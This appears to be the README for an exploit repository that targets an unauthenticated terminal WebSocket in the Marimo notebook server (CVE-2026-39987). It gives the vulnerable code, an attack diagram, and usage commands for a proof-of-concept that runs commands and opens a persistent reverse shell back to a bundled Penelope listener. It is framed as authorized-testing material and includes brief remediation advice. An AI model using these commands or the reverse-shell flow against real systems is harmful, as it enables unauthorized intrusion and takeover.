
Marimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws.
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
Pre-authenticated Remote Code Execution in Marimo, a reactive Python notebook server.
A single unauthenticated WebSocket connection to /terminal/ws yields a full interactive PTY shell as the user running the Marimo process (often root in Docker).
Lab / authorized testing only (HTB, CTF, engagement with written scope).
Marimo exposes an integrated terminal over WebSocket at:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
Other WebSocket routes (notably /ws for the notebook UI) correctly call validate_auth().
/terminal/ws does not. It only checks:
then immediately:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
No cookie, token, password, or Authorization header is required — even when authentication is enabled on the instance.
Impact: unauthenticated arbitrary command execution with the privileges of the Marimo process. In default container images this is frequently root.
File (vulnerable tree): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
Compare with the notebook WebSocket (ws_endpoint.py), which does enforce auth:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws without credentials| Status | Versions |
|---|---|
| Vulnerable | Marimo <= 0.20.4 (pre-fix) |
| Fixed | Marimo 0.23.0 and later |
Any deployment that exposes the terminal WebSocket (edit mode, PTY supported) without an external auth gateway is in scope.
| File | Role |
|---|---|
exploit.py | PoC: command exec + persistent reverse shell + Penelope launcher |
penelope.py | Standalone shell handler (brightio/penelope) |
README.md | This file |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py needs no extra dependencies (Python 3.6+ standard library).
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
What happens:
/terminal/ws0.0.0.0:4444python3 exploit.py -h
Penelope is bundled as a standalone script (penelope.py):
Default flow (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
The child is used on purpose: os.execv(penelope) replaces the parent process image, which would kill a background thread.
Manual Penelope:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, SSH keys), audit outbound connections and persistenceThis project is for authorized security testing, education, and defensive research only.
You are responsible for complying with applicable laws and the rules of engagement of your lab or client.